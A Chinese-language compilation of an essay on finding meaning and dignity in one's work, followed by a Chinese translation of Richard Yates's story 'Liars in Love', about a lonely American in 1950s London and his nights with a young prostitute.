　　我现在已经活到了人生的中途，拿一日来比喻人的一生，现在正是中午。人在童年时从朦胧中醒来．需要一些时间来克服清晨的软弱，然后就要投入工作；在正午时分，他的精力最为充沛，但已隐隐感到疲惫；到了黄昏时节，就要总结一日的工作，准备沉入永恒的休息。按我这种说法，工作是人一生的主题。这个想法不是人人都能同意的。我知道在中国，农村的人把生儿育女看作是一生的主题。把儿女养大，自己就死掉，给他们空出地方来——这是很流行的想法。在城市里则另有一种想法，但不知是不是很流行：它把取得社会地位看作一生的主题。站在北京八宝山的骨灰墙前，可以体会到这种想法。我在那里看到一位已故的大叔墓上写着：副系主任、支部副书记、副教授、某某教研室副主任，等等。假如能把这些“副”字去掉个把，对这位大叔当然更好一些，但这些“副”字最能证明有这样一种想法。顺便说一句，我到美国的公墓里看过，发现他们的墓碑上只写两件事：一是生卒年月。二是某年至某年服兵役；这就是说，他们以为人的一生只有这两件事值得记述：这位上帝的子民曾经来到尘世，以及这位公民曾去为国尽忠，写别的都是多余的，我觉得这种想法比较质朴……恐怕在一份青年刊物上写这些墓前的景物是太过伤感，还是及早回到正题上来罢。

　　我想要把自己对人生的看法推荐给青年朋友们：人从工作中可以得到乐趣，这是一种巨大的好处。相比之下，从金钱、权力、生育子女方面可以得到的快乐，总要受到制约。举例来说，现在把生育作为生活的主题，首先是不合时宜；其次，人在生育力方面比兔子大为不如，更不要说和黄花鱼相比较；在这方面很难取得无穷无尽的成就。我对权力没有兴趣，对钱有一些兴趣，但也不愿为它去受罪——做我想做的事（这件事对我来说，就是写小说），并且把它做好，这就是我的目标。我想，和我志趣相投的人总不会是一个都没有。

　　根据我的经验，人在年轻时，最头疼的一件事就是决定自己这一生要做什么。在这方面，我倒没有什么具体的建议：干什么都可以，但最好不要写小说，这是和我抢饭碗。当然，假如你执意要写，我也没理由反对。总而言之，干什么都是好的；但要干出个样子来，这才是人的价值和尊严所在。人在工作时，不单要用到手、腿和腰，还要用脑子和自己的心胸。我总觉得国人对这后一方面不够重视，这样就会把工作看成是受罪。失掉了快乐最主要的源泉，对生活的态度也会因之变得灰暗……

　　人活在世上，不但有身体，还有头脑和心胸——对此请勿从解剖学上理解。人脑是怎样的一种东西，科学还不能说清楚。心胸是怎么回事就更难说清。对我自己来说，心胸是我在生活中想要达到的最低目标。某件事有悖于我的心胸，我就认为它不值得一做；某个人有悖于我的心胸，我就觉得他不值得一交；某种生活有悖于我的心胸，我就会以为它不值得一过。罗素先生曾言，对人来说，不加检点的生活，确实不值得一过。我同意他的意见：不加检点的生活，属于不能接受的生活之一种。人必须过他可以接受的生活，这恰恰是他改变一切的动力。人有了心胸，就可以用它来改变自己的生活。

　　中国人喜欢接受这样的想法：只要能活着就是好的，活成什么样子无所谓。从一些电影的名字就可以看出来：《活着》、《找乐》……我对这种想法是断然地不赞成。因为抱有这种想法的人就可能活成任何一种糟糕的样子，从而使生活本身失去意义。高尚、清洁、充满乐趣的生活是好的，人们很容易得到共识。卑下、肮脏、贫乏的生活是不好的，这也能得到共识。但只有这两条远远不够。我以写作为生，我知道某种文章好，也知道某种文章坏。仅知道这两条尚不足以开始写作。还有更加重要的一条，那就是：某种样子的文章对我来说不可取，绝不能让它从我笔下写出来，冠以我的名字登在报刊上。以小喻大，这也是我对生活的态度。

　　选自《一只特立独行的猪》

恋爱中的骗子

理查德 · 耶茨

　　沃伦·马修斯跟他妻子和两岁的女儿搬去伦敦住时，担心过人们也许会纳闷他怎么无所事事。说他“靠富布赖特奖学金”没多大用，因为只有别的少数几个美国人知道那指的是什么，绝大多数英国人会一脸茫然或者配合地微笑，直到他解释一番，但甚至到那时，他们还是听不明白。

　　“干吗要跟他们说什么，”他的妻子会说，“关他们什么事？那么多靠私人收入在这儿生活的美国人又怎么样？”然后继续在炉子或者水池或者熨衣板上干活，或者继续有节奏而动作优美地梳理她那一头长长的棕色秀发。

　　她是个眉清目秀的漂亮女孩，名叫卡罗尔，经常说自己结婚时太年轻了。没过多久，她就发现自己讨厌伦敦。这里又大又乏味，而且没有人情味，你可以走路或者坐公共汽车一去好多英里，都看不到有什么好看的。冬天来了，也带来了刺鼻的含硫磺的雾，把一切都染成了黄色，还从关着的窗户和门渗进来，留在你的房间里，让你眯起来还流着眼泪的眼睛更加难受。

　　另外，她和沃伦关系不融洽已经有好久了，他们可能都希望过搬到伦敦这一险举也许能把事情理顺，但是现在难以回想起他们是否那样希望过。他们吵架并不多——吵架属于他们结婚后更早的一个阶段——可是他们几乎从来不喜欢跟对方在一起，还有整天整天的时候，他们在那个收拾得井井有条的小小地下室房间里，几乎好像干什么都会影响对方。“哦，对不起。”每次他们笨拙地撞到一起或者挤到一块时，都会咕哝着说，“对不起……”

　　那套地下室房子是他们遇到的唯此一件好事：租金只是象征性的，因为房东是卡罗尔的英国籍姑妈朱迪思——一位举止文雅的寡妇，七十岁，独自住在楼上的公寓里，经常慈爱地跟他们说他们有多么“可爱”。她也非常可爱。唯一的不便——事先就认真商量过——是朱迪思需要使用他们的浴缸，因为她自己住的那里没有。她会早上不好意思地敲他们的门，进来，满脸带笑，嘴里不住地道歉，身上裹着一件长度及地的豪华浴袍。后来，她洗完澡出来，身上冒着腾腾的热气，那张漂亮的老人的脸就像小孩子的一样，红扑扑的，她会慢慢走进前面的房间，有时会逗留一会儿聊聊天，有时不停。有一次，她把手放在通向走廊的门把手上又停下脚步说：“你们知道吗，我们一开始这样安排住的时候，在我同意把这层分租出去时，我记得我在想，哦，要是我不喜欢他们该怎么办？现在，一切都这么棒，因为我对你们两个都真的特别喜欢。”

　　他们总算愉快而诚挚地回应了几句；她走后，沃伦说：“挺好的，不是吗。”

　　“是啊，挺好。”卡罗尔坐在地毯上，一边在努力把他们女儿的脚后根塞进一只红色橡胶靴子。“别动，宝贝，”她说，“让妈妈省点事，好吗？”

　　工作日的每天，这个小女孩凯西去附近一间托儿所，名叫彼得·潘俱乐部。原来的想法，是这样能把卡罗尔解放出来，让她可以在伦敦工作，以便在富布赖特奖学金收入之外贴补家用，但是后来发现有条法律禁止英国雇主聘请外国人，除非可能证明这个外国人能够提供英国申请人缺乏的某种技能，卡罗尔根本不能指望能证明类似的事。但是他们不管怎么样，还是继续让凯西去那间托儿所，因为她好像喜欢去，而且——尽管两位父母都没有明明白白说出来——因为让她整天不在家也不错。

　　这天早上，卡罗尔想到即将可以跟她的丈夫单独在一起而心里挺高兴：她昨天夜里已经下了决心，就在这天，她要宣布自己决定离开他。事到如今，他肯定也会认可事情不对劲。她会把孩子带回家，回到纽约；等她们安顿下来，她会去找份工作——秘书或者接待员之类——开始自己的生活。他们当然可以通过写信保持联系，等到他靠富布赖特奖学金生活的一年结束后，他们可以——嗯，他们都可以考虑一下，到时间再讨论吧。

　　在凯西说着话、紧紧拉着她的手去彼得·潘俱乐部的一路上，以及一个人更快地一路走回来时，卡罗尔都在尽量刚好没出声地演习她要说的话；可是到了那时，却发现那一幕比她担心的容易得多，沃伦根本没有显得很吃惊——至少程度上没有达到也许会挑战或者削弱她的说法。

　　“好吧，”他一直沮丧地说，也没有正视她。“好吧……”过了一会儿，他问了一个麻烦的问题。“我们怎么跟朱迪思说？”

　　“嗯，对，那点我也想到了。”她说，“如果跟她说实话，会很难堪的。你觉得我们可不可以说我家里有人生病，只好回家？”

　　“嗯，可是你的家里人就是她的家里人啊。”

　　“哦，傻话。我爸爸是她弟弟，可是已经去世了，她从来没有见过我妈妈，不管怎么样，我爸跟我妈天晓得早就离婚多久了。没有别的途径——你知道——联系途径，她永远都不可能发现。”

　　沃伦考虑了一下。“好吧，”他最后说，“可是我不想去跟她说，你去好吗？”

　　“没问题，当然可以，我去跟她说，如果你觉得可以的话。”

　　这样问题好像解决了——除了他们分居这个更大的问题，还有怎么跟朱迪思说。但是那天晚上晚些时候，沃伦坐在那儿盯着烧煤气的壁炉里的粘土散热条看了很久，之后他说：“嗨，卡罗尔？”

　　“什么？”她正在把干净的床单拍打、铺到沙发上，准备当天晚上一个人在那里睡。

　　“你觉得他会是个什么样的人，你的男人？”

　　“你什么意思？什么我的男人？”

　　“你知道的，就是你希望在纽约找到的人。哦，我知道他会在十几个方面都比我强，不用说，他也会比我有钱得多，不过我是说他会是什么样？他会长什么样？”

　　“这种话我根本不要听。”

　　“嗯，好吧，可是跟我说说他会长什么样好吗？”

　　“我不知道，”她不耐烦地说，“普普通通吧，我想。”

　　卡罗尔的船预定启航前不到一个星期时，彼得·潘俱乐部为凯西的三岁生日举办了一场派对。派对挺好，除了通常会有的抹肉酱以及果酱的面包，还有用“茶”时吃的冰淇淋和蛋糕，另外还有好多杯亮晶晶的液体，那是英国这里相当于“酷爱”兑的饮料。沃伦和卡罗尔一起站在边上，微笑着着看他们快乐的女儿，似乎是要向她保证无论如何，他们永远都会是她的父母。

　　“这么说你要一个人跟我们待段时间了，马修斯先生。”托儿所的负责人玛乔丽·布莱恩说。她身材苗条，烟抽得一根接一根，四十岁上下，已经离婚很久，沃伦有几次注意到她还不赖。“你一定要来我们的酒馆坐坐，”她说，“你知道富勒姆路上的芬奇酒馆吗？事实上，这是一间邋遢的小酒馆，不过很多挺好的人都去那儿。”

　　他跟她说他一定会去坐坐。

　　然后就到了启航那天，沃伦把妻子和女儿一直送到火车站，到了乘坐去码头火车的大门口。

　　“爸爸不走吗？”凯西问，显得很害怕。

　　“没事，亲爱的。”卡罗尔告诉她，“我们得暂时把爸爸留在这儿，不过你很快就会见到他。”她们快步走远，汇入拥上来的人群。

　　那次派对上送给凯西的玩具中，有一个是个纸板做的音乐盒，前面有个快乐的黄色鸭子和一张生日卡，边上有个小摇把，转动这个摇把，就会声音细细地演奏一段《祝你生日快乐》。沃伦当天晚上回到那间公寓后，发现了这个玩具，跟别的忘掉了的廉价玩具在一起，在凯西那张揭了床单的床底下。他在散放着书本和纸的写字台前喝威士忌时，玩了一两下；后来，他带着小孩一样无缘无故做什么试验的感觉，反方向转动摇把，慢慢地。他这样做开了个头，就发现自己停不下来，要么是不想停下来，因为它演奏出的那个细细的简单旋律让人想到世界上所有的失落与孤独。

　　嗒嘀嗒嘀嗒嗒，嗒嘀嗒嘀嗒嗒

　　他长得高，很瘦，总是觉得自己肯定有多难看，即使没人看他——即使在他这辈子到头来独自坐着鼓捣一个玩具，离家三千英里时。那是一九五三年三月，他二十七岁。

　　“哦，你这个可怜的人。”第二天早上，朱迪思下来洗澡时说，“看你一个人在这儿，真叫人难过。你肯定很想念她们。”

　　“是啊，嗯，只会有几个月时间。”

　　“嗯，那可真糟糕。难道没人可以说照顾一下你吗？你和卡罗尔难道不认识什么年轻人，可以让他们来陪陪你吗？”

　　“哦，当然，我们认识几个人。”他说，“可是我不想跟谁——你知道，我不是很想跟谁在一起还是怎么样。”

　　“嗯，那样的话，你应该走出去，认识新朋友。”

　　很快就到了四月一号，按照她的习惯，朱迪斯去她在苏塞克斯的小屋那边住，她会在那里一直待到九月。她跟沃伦解释说她偶尔会回市里待几天，但是“别担心，我可以说再下来找你时，一定会提前给你打电话。”

　　所以他就的真的一个人了。有天晚上，他去了那间名为芬奇的酒馆，他隐隐有个想法，就是说服玛乔里·布莱恩跟他一起回家，然后在他和卡罗尔的床上占有她。在人很多的吧台前，他找到了她，可是她看着显老，而且喝得醉醺醺的。

　　“哦，我说，马修斯先生。”她说，“过来跟我一起喝吧。”

　　“沃伦。”他说。

　　“什么？”

　　“人们叫我沃伦。”

　　“哈，对，嗯，这儿是英国，你要知道，我们这儿的人都正经得要命。”过了一小会儿，她说，“我一直不是很清楚你是做什么的，马修斯先生。”

　　“嗯，我靠的是富布赖特，”他说，“这是美国的一种奖学金，提供给出国学生的。政府出钱，你——”

　　“对，当然了，美国很擅长搞那种事情，是吧。我应该能想象到你的脑袋肯定很聪明，”她扑闪着眼睛看了他一眼。“涉世不深的人经常是那样。”说完缩了一下，做了个躲避一拳击来的动作。“对不起，”她马上说，“对不起我那样说。”可是她马上又眼睛一亮。“萨拉！”她叫道，“萨拉，快点过来见见年轻的马修斯先生，他想让别人叫他沃伦。”

　　一个高个儿漂亮女孩从另外一群酒客那里转过身对他微笑，一边伸出手，可是当玛乔里·布莱恩说“他是个美国人”时，那个女孩的笑容僵在脸上，手也垂了下去。

　　“哦，”她说，“真好。”说完又转回身。

　　当时作为一个美国人在伦敦，并不是个好时候。那段时间，艾森豪威尔当选总统，罗森伯格夫妇被处死；约瑟夫·麦卡锡正在崛起，朝鲜战争——英国也不情愿地派出部队参战——变得似乎也许永无结束之日。尽管如此，沃伦·马修斯还是怀疑即使在最好的时候，他在这儿还会觉得自己是个外人，还想家。不说别的，就说本地人所说的英语吧，跟他自己的几乎毫无相似之处，每次跟别人交谈，都很有可能漏听什么话。什么都不清不楚的。

　　他继续尝试，但即使在好一点的夜晚，在比芬奇酒馆更让人愉快的酒馆里，跟比较和气的陌生人在一起，他只是发现不适感稍有缓和——但是他没发现有漂亮的单身女孩。那些女孩子，无论是姿色平平，还是美如天仙，总是挎在男的胳膊上，那些男的风趣之极的谈吐会让他迷惑不解地微笑。他也沮丧地发现这些人中有很多次暗示什么时——挤挤眼睛或者大声说出来——都集中在同性恋之幽默的方面。全英国都着迷于那个话题吗？要么只是在这里——切尔西区与南肯辛顿区于富勒姆路相接的地区安静、“有趣的”一带多一点？

　　后来有天晚上，他坐深夜巴士去了皮卡迪利广场。“你想去那儿干吗？”卡罗尔会这样问，他坐车几乎坐了一半的路，才意识到他不再需要回答那个问题了。

　　一九四五年时，他还是个战后第一次从部队休假的小伙子时，对那些被称为“皮卡迪利突击队”的妓女每天晚上走来走去感到很震惊。他看着她们走路，转身，走路，再转身：卖身女子。他的血液加快，无法忘怀。在那些见过世面的士兵眼里，她们似乎成了他们的取笑对象，他们有几个人喜欢懒洋洋地靠在墙上，那些女孩经过时，把一枚枚大个儿的英国便士弹到人行道上她们的脚下，可是沃伦很希望自己有勇气能挺身而出，制止他们嘲笑。他想过选中一个女孩，给她钱，占有她，无论到头来有可能发现她是个什么样的人。他因为自己让休假的两周白白过去，没有付诸行动而鄙视自己。

　　他知道近至去年秋天，那种景观的改进版还存在，他和卡罗尔去西区一家剧院时看到过。“我不敢相信，”卡罗尔说，“她们真的全是妓女吗？这是我所见过的最悲哀的事。”

　　近期报纸上，有文章讨论在加冕典礼前，迫切需要对皮卡迪利广场一带进行清理，但是到目前为止，警方肯定办事不够雷厉风行，因为那些女孩子基本上都还在那儿。

　　她们多数都年纪轻轻，脸上化着浓妆；她们衣着鲜艳，是水果糖和复活节蛋的颜色。她们要么走路，转身，要么站在暗处。他喝了三大口威士忌才鼓起勇气，而且就算在那时，他还是缺乏自信。他知道自己的样子差强人意——上面一件灰色套装的外套，下面穿的是旧军裤，鞋子几乎可以扔掉了——但是在他从站在沙福兹伯里大街上的四个女孩中很快选定一个，并且走到她跟前时，无论他穿世界上任何衣服，都会感觉自己赤身露体。他说：“你有空吗？”

　　“我有空吗？”她望着他的眼晴望了不到一秒钟，然后说，“亲爱的，我这一辈子都有空。”

　　他们走了还不到半个街区，她首先想让他同意的就是价钱——挺高，不过在他承受范围之内，然后她问他介不介意坐一段的士。在的士上，她解释她从来不像别的那些女孩一样，去附近的廉价旅馆和公寓，因为她有个半岁大的女儿，不想撇下她很久。

　　“我不怪你，”他说，“我也有个女儿。”他说完马上纳闷自己干吗觉得需要跟她提这个。

　　“哦，是吗？那你老婆呢？”

　　“回纽约了。”

　　“你们离婚了还是怎么着？”

　　“嗯，分居了。”

　　“哦，是吗？那可太糟糕了。”

　　他们尴尬地沉默着坐了一会儿车，直到她说：“哎，你想亲我还是怎么样没问题，只是别在车上太动手动脚，好吗？我真的不喜欢那样。”

　　只是在那时，亲吻她时，他才开始看清楚她的样子。她金黄色的头发弄成了长卷发，围着她的脸——经过每一盏经过的街灯时，她的脸上一下子照亮，然后又暗下来；她的眼睛长得漂亮，尽管涂了睫毛膏；她的嘴巴挺好看；虽然他根本没有太动手动脚，他的手还是发现她长得苗条而结实。

　　打的走得不近——车一直开，直到沃伦开始担心会不会只是在遇到一群等在那儿的流氓时，的士才会停下来，那些流氓会把他从的士后排座位上拖下来，揍他一顿，抢走他的钱，然后跟那个女孩一起坐车走掉——但是的士最终在一个安静的市内街区停了下来，他想是在伦敦的东北部。她领着他进了一幢房子，那幢房子在月光下看着粗糙，但是宁静。她这时嘘了一下，他们踮着脚走过一条铺了油地毡的吱嘎作响的走廊，进了她的房间，她把灯打开，关上了身后的门。

　　她去看了看那个婴儿，婴儿躺在一张黄色的婴儿床中间，小小的身子一动不动，上面盖着东西。离婴儿床不到六英尺远，顺墙摆了一张双人床，看样子还算干净，按说沃伦就要在这张床上享乐。

　　“我只是想确认她在呼吸。”那个女孩解释道，一边从婴儿床那里转过身；接着她看他数了正确张数的英镑和面值十先令的钞票放在梳妆台上。她关了吊灯，留下床头的一盏灯，然后就开始脱衣服，他在紧张地脱掉自己的衣服时，眼睛却在看着她。她的棉内裤廉价得让人同情，她的褐色阴毛让她的金发露了馅，她的腿短，膝盖那里有点粗，除此之外，她还可以。当然她岁数不大。

　　“你对这有没有喜欢过？”他们动作笨拙地躺到床上后，他问她。

　　“呃？你什么意思？”

　　“嗯，只是——你知道的——过上一阵子，肯定太那个了，让你不能真正——”他话说一半尴尬地停了下来。

　　“哦，不。”她让他放心，“嗯，我是说很大程度上得看是跟谁，可我不是——我不是块冰还是怎么样，你会看出来的。”

　　结果，她因为他而成了一个真正的女孩，她表现出来的魅力和让人感到鼓舞这两方面，都完全出人意料。

　　她叫克丽斯汀·菲利普斯，二十二岁，来自格拉斯哥，已经在伦敦待了四年。那天晚上后来，他们坐在那里抽着烟，喝一瓶没冰冻过的一夸脱装啤酒时，她跟他说了些话，他知道如果他全盘相信，那就是容易上当。尽管这样，他还是想不抱成见。即使她说的话多数都在意料之中——例如，她解释说要是她愿意去哪间“俱乐部”当“舞女”，根本不用当街头女孩，可是她拒绝了好多次那种邀请，因为“所有那种地方，都是宰人的破地方”——但是还有别的随随便便说的话，会让他温柔地搂紧她，例如这时，她说她把小孩起名为劳拉，“因为我一直觉得那是世界上最好听的女孩名字。你不觉得吗？”

　　他也开始明白为什么她说话几乎不带苏格兰口音：她肯定认识了很多美国人、士兵、水手和偶尔堕落的平民，以至于他们进攻并且打劫了她的英语。

　　“哎，你是靠什么生活的，沃伦？”她问道，“家里汇钱来吗？”

　　“嗯，可以说吧。”他就再次解释了富布赖特项目。

　　“是吗？”她说，“你得聪明才可以吧？”

　　“哦，不一定。在美国，做什么都不再需要很聪明了。”

　　“你跟我开玩笑吗？”

　　“不完全是。”

　　“呃？”

　　“我是说，我只是跟你开一点点玩笑。”

　　她沉思了一会儿没说话，然后她说：“嗯，我希望我多上了几年学。我希望我够聪明，能写出一本书，因为我可以写本很不一般的书。知道我会起什么书名吗？”她眯起眼睛，手指在空中比划着正式的文字，“我会起名叫《这就是皮卡迪利》。因为我是说，人们并不是真正了解这儿的事。哈，天哪，我可以跟你说些事，让你会——嗯，算了，不说了。”

　　“……嗨，克丽斯汀？”又过了一会儿他说，当时他们又回到了床上。

　　“呃？”

　　“想不想我们都来讲讲自己的人生？”

　　“好呀。”她带着小孩般的急切说，他只得不好意思地又跟她解释自己只是跟她开个小玩笑。

　　第二天六点钟，婴儿的哭声把他们都吵醒了，可是克丽斯汀起了身，跟他说他可以再睡一会儿。他又醒来时，是一个人在房间里，这里隐隐有化妆品味和尿味。他能够听到隔得不远的几个女人说说笑笑的声音。除了他要起床，穿好衣服，想法离开这儿，他不知道自己按说还要怎样做。

　　后来克丽斯汀来开门问他想不想喝杯茶。“要是你收拾好了。”她说着小心递给他一杯热茶。“干吗不出来见见我的朋友，好吗？”

　　他跟着她走进一个厨房跟客厅连在一起的房间，从那里的窗户望出去，是块野草丛生的空地。一个又矮又壮的三十多岁的女人站在那里熨衣服，插头插在天花板的一个插座上，另外一个跟克丽斯汀岁数差不多的女孩躺靠在一张安乐椅上，她穿了件长度及膝的浴袍，脚上是拖鞋，早晨的阳光把她漂亮的光腿照得亮亮的。一面带框的椭圆形镜子下方，烧煤气的壁炉在嘶嘶作响，到处弥漫着蒸汽和茶的好闻味道。

　　“沃伦，这是格雷丝·阿诺德。”克丽斯汀说的是熨衣服那个女的，她抬头看，说她很高兴认识他。“这是艾米。”艾米舔了下嘴唇，微笑着说：“嗨！”

　　“大概再过一分钟，你就能见到孩子们了。”克丽斯汀告诉他，“格雷丝有六个孩子，我是说格雷丝和阿尔弗雷德有六个孩子。阿尔弗雷德是这家的男人。”

　　沃伦呷着茶聆听着，并适当地点头、微笑、问话，他能够一点点把各项事实拼起来了。阿尔弗雷德·阿诺德是个室内油漆匠，要么应该说是“油漆匠兼装修工”。有那么多孩子要抚养，他和他妻子把房间租给克丽斯汀和艾米来让收支平衡，他们也完全知道两个女孩以何为生，所以，他们可以说成了一家人。

　　曾经有多少个文雅而焦虑的男人，第二天早上坐在这张沙发上，看着格雷丝·阿诺德的熨斗轻巧地滑动，难以抗拒地被阳光照到的艾米的腿部奇观所迷，听着三个女人说话，心里在琢磨多快才可以走掉，这样的男的有多少？但是沃伦·马修斯根本没什么家好回，所以他开始希望这个与人交往的愉快时刻可以拖得久一点。

　　“你的名字挺好，沃伦。”艾米跟他说，一边把一条腿搭到另一条腿上。“我一直喜欢这个名字。”

　　“沃伦，”克丽斯汀说，“你能留下来一起吃早餐吗？”

　　很快，他们围坐在一张干净的餐桌前，每人一片抹了黄油的吐司，上面还有个煎蛋，又端上了更多的茶，他们都吃得斯斯文文，好像是在一个公共地方。克丽斯汀坐在他旁边，吃饭中间有一次，她小心地捏了一下他空着的那只手。

　　“你不着急走的话，”格雷丝在把盘子摞起来时，克丽斯汀说，“我们可以去喝杯啤酒。酒吧再过半个钟头就开门。”

　　“好啊。”他说，“可以啊。”因为他最不想的，就是急着走掉，即使六个孩子早上在街上玩了以后全回来了，每个都轮流想坐到他大腿上跟他逗着玩，把他们沾有果酱的手指往他的头发中间插。这几个小孩又是吵闹，又是尖叫，都是活力充沛的样子。年龄最大的是个聪明的女孩，名叫简，奇怪地长得像是黑人——肤色浅，却是非洲人面相，头发也是——她从他那里往后退时，笑得咯咯响，她说：“你是克丽斯汀的那位吗？”

　　“我当然是。”他告诉她。

　　他把克丽斯汀一个人带到街角的酒馆时，的确感觉很像是她的那位。他喜欢她走路的样子——她穿了件新的褐色雨衣，领子掀起，围着她的面颊，根本不像是个妓女——他也喜欢在那间褐色的屋子里，她挨着他坐在那条皮长凳上，靠着墙，那个房间里的一切——就连照进来的灰尘飞舞的道道阳光——都似乎浸在啤酒中。

　　“哎，沃伦，”过了一会儿她说，一把亮晶晶的杯子在桌子上转动。“你想留下来再住一晚上吗？”

　　“嗯，不，我真的——问题是我付不起钱了。”

　　“哦，我不是指那个。”她说着又捏了一下他的手。“我不是指钱，我是说——你就留一晚上呗，因为我想让你留下来。”

　　一个年轻的妓女主动提出免费献身，不用别人来告诉他这是作为男人取得的非凡成功。他甚至不需要《走向永生》来告诉他这一点，不过他一直记得他让她的脸贴近自己的脸时，他有多么快就想起了那本小说。她让他感到有力量。“哦，那挺好的。”他嗡声嗡气地说，然后他吻了她。就在再次亲吻她之前，他说：“哦，真是太好了，克丽斯汀。”

　　整个下午，他们俩都一再使用“好”这个字。克丽斯汀似乎跟他形影不离，除了有短短的间隔，那是她得去照顾一下孩子时。有一次，沃伦一个人在客厅时，她似乎听着小提琴的音乐，慢慢地做梦一般过来，像电影中的女孩一样，倒在他的怀里。还有一次，她在沙发上蜷着身子紧紧贴着他，她轻轻地为他低唱一首名叫《难以忘记》的流行歌曲，每次唱到歌名那个词时，她都明显地垂下睫毛。

　　“哦，你挺好的，沃伦，”她一再说，“你知道吗？你真的挺好。”

　　他也一次又一次跟她说她也有多么好。

　　阿尔弗雷德下班回来后——他长得壮实，累了，看上去局促，但是和气——他的妻子和年轻的艾米马上忙着去欢迎他回来，按照已经习惯了的做法：给他拿外套，拉好椅子，为他端上一杯杜松子酒。可是克丽斯汀紧紧挽着沃伦的胳膊没动地方，直到该把他领过去，去跟这一家的男人做正式的介绍。

　　“很高兴认识你，沃伦，”阿尔弗雷德说，“别拘束啊。”

　　晚餐吃的是腌牛肉和煮土豆，大家都说很好吃。在愉快的情绪下，阿尔弗雷德开始用词精炼地回忆起他在缅甸当战俘的日子。“四年，”他说，一边一只手屈着拇指比划着。“四年啊。”

　　沃伦说那几年肯定很难熬。

　　“阿尔弗雷德？”格雷丝说，“给沃伦看看你的表彰信。”

　　“哦不，亲爱的，没人想费事看那个。”

　　“给他看看。”她坚持道。

　　阿尔弗雷德让步了，不好意思地从屁股口袋里拿出一个厚厚的黑色皮夹子，从其中一个夹层里抽出上面有污迹、叠了好几次的一张纸。沿着折缝处几乎快要烂掉了，可是上面打出来的信息倒是能看清，表达的是英国军队认可二等兵 A·J·阿诺德在缅甸当日本人的战俘时，在一九四四年建造一座铁路桥的过程中，俘虏他的人表扬他干活一直兢兢业业。

　　“嗯，”沃伦说，“挺好的。”

　　“哈，你了解女人，”阿尔弗雷德在把那张纸放回原来的地方时，跟他交心道。“女人总是想让你把这玩意儿到处拿给人看。我宁愿把那场操蛋的事情全忘掉。”

　　在格雷丝挤眉弄眼的微笑下，克丽斯汀和沃伦设法提前离席，卧室门一关上，他们就紧紧搂着缠在一起，呼吸沉重，欲望让他们急不可耐、心无旁骛。他们脱衣服根本没费什么时间，却仍然显得极为麻烦，耽误事，接着他们就陷在床上，尽情享受对方，之后又抱在一起。

　　“哦，沃伦，”她说，“哦，天哪。哦，沃伦。哦，我爱你。”

　　他听到自己说了好多遍他爱她，次数比他愿意相信或者记得的更多。

　　午夜之后有段时间，他们安静地躺着时，他纳闷那些话怎么会从他嘴里那么容易、那么频繁就说了出来。差不多也是在那时，克丽斯汀又开始说话，他意识到她已经喝了很多酒。床边的地板上，有一瓶一夸脱装的杜松子酒和两个有指纹印的半透明的酒杯，证明他们经常使用这两个杯子，不过这时她好像领先他许多。在给自己又倒了一杯酒时，她靠着枕头和墙壁舒服地坐着说起话来，语气让他想到她在为了戏剧效果字斟句酌，就像一个小女孩装作是个女演员一样。

　　“你知道吗，沃伦？我想要的一切都被从我手里夺走了，我一辈子都是这样。我十一岁时，最最想要一辆自行车，我爸爸后来给我买了一辆。哦，只是辆二手的，便宜，可是我很喜欢。后来还是在那年夏天，为了什么事我忘记了，我爸爸生气了，想惩罚我，就把那辆自行车拿走了，我再也没有见到。”

　　“是啊，那件事肯定让你难受。”沃伦说，可是接着，他又试着把谈话往没那么感伤的方向引。“你爸爸是干什么工作的？”

　　“哦，他是个煤气公司的办事员。我们根本合不来，我跟我妈也合不来。我从来不回家。可我说的是真的：我想要的一切都被——你知道——从我手里夺走了。”她说到这里顿了一下，似乎要把她舞台化的声音再控制一下，她又开口时——多了点信心——用的是适合让一个亲密听众听的压低了的声音。

　　“沃伦？你想听听艾德里安的事吗？劳拉的爸爸？因为我真的想跟你说说，你要是有兴趣听的话。”

　　“当然想。”

　　“嗯，艾德里安是个美国军官。一个少校，要么现在也许是个中校了，不管他在哪儿。我甚至不知道他现在在哪儿，滑稽的是，我也不关心了，我真的一点都不在乎了。可是我和艾德里安有过一段很美好的时候，直到我跟他说我怀孕了，他就呆住了，他就那么呆住了。哦，我想我并没有真的以为他会向我求婚还是怎么样——他在美国国内有个上流社会的女孩在等他，我知道。可是他变得很冷漠，要我去堕胎，我说不，我说：‘我要把这个孩子生下来，艾德里安。’他说：‘好吧。’他说，‘好吧，可是你只能靠自己，克丽斯汀。你得能怎么养就怎么养这个孩子。’这时，我决定去找他的指挥官。”

　　“他的指挥官？”

　　“嗯，总得有人出面啊，”她说，“总得有人让他认清自己的责任。天哪，我永远都忘不了那一天。那位团长很威严，叫马斯特斯上校，他只是坐在办公桌后面看着我，听我说，点几下头，艾德里安跟我在一起，一声不吭；办公室里只有我们三个人。最后马斯特斯上校说：‘嗯，菲利普斯小姐，就我来看，可以这样总结：你犯了个错误。你犯了个错误，就得承担这个错误。”

　　“是啊。”沃伦不自在地说，“是啊，嗯，那肯定是——”

　　但是他不用把那句话说完，或者说别的任何话，那些话也许能让她知道他对那个故事压根一个字都不相信，因为她在哭泣。她刚开始啜泣时，就蜷起了膝盖，把她头发乱了的头部一侧放在膝盖上；后来她小心地把空杯子放到地板上又推到床下，背对着他哭了又哭。

　　“嗨，好了，”他说，“好了，宝贝，别哭了。”他把她的身子扳过来，把她抱在怀里，直到她平静下来，他也只能这么做。

　　过了许久，她说：“还有酒吗？”

　　“有一点。”

　　“嗯，听着，我们把它喝完，好吗？格雷丝不会介意的，要么如果她想让我出钱，我会给她的。”

　　第二天早上，因为情绪波动和睡了一觉，她脸上很肿，她想用手指挡着。她说：“天哪，我想我昨天晚上喝得很醉。”

　　“没关系，我们都喝得很多。”

　　“嗯，对不起。”她就像时常道歉的人那样，不耐烦到几乎是挑衅地说，“对不起。”她已经照看过孩子，这时穿着退色的绿色浴袍，在那个小小的房间里摇摇晃晃地走着。“不管怎么样，听着，你还会来吧，沃伦？”

　　“当然，我给你打电话，好吗？”

　　“不，这儿没电话，可是你很快还会再来吧？”她跟着他走出了前门，在那里他转过身，在她眼里看到了确凿无疑的恳求之意。“你白天来的话，”她说，“我都在家。”

